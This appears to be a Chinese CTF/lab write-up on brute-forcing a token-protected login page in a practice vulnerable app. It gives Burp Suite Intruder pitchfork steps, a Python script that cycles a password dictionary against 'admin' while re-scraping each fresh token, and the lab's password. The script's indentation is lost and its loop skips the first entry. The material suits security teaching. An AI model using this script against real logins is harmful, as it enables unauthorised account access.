知识点:利用 burpsuite 循环把返回的 token 值加到登录的 token 上。
burpsuite 实现步骤
先抓包,然后发到 repeater
里发个包
之后再由 repeater
转发到 intruder
,选中要爆破和替换的值,并把 attack type
模式调成 pitchfork
。
然后选择 1 的位置,也就是密码,载入要爆破的字典。
参数二,也就是 token
有两个要设置的地方,第一个就是要从返回的数据中选中 token
选中 token
并点击 ok
第二个地方就是重定向的模式。
最重要的一步就是要把线程数设置为一。
最后就是设置 token 参数的爆破模式了。
最后攻击后可以明显看到一个返回值长度不一样的数据,密码是 123456
python 脚本实现步骤
import requests
from lxml import etree
url = 'http://64dff89e-c426-4cdc-8b0d-2064b2b5c2b4.node4.buuoj.cn:81/vul/burteforce/bf_token.php'
token_xpath = "//div[@class='bf_form_main']/form[@id='bf_client']/input/@value"
s = requests.session()
req = s.get(url)
req.encoding = 'utf-8'
html = etree.HTML(req.text)
token = html.xpath(token_xpath)
token = ''.join(token)
with open('../字典/passwd.txt','r') as f:
password = f.readline()[:-1]
while True:
if(password == ''):
break
else:
password = f.readline()[:-1]
data = {
'username':'admin',
'password':password,
'token':token,
'submit':'login'
}
req_two = s.post(url,data=data)
if 'login success' in req_two.text:
print('[+]: ' + password)
break
else:
req_two.encoding = 'utf-8'
html = etree.HTML(req_two.text)
token = html.xpath(token_xpath)
token = ''.join(token)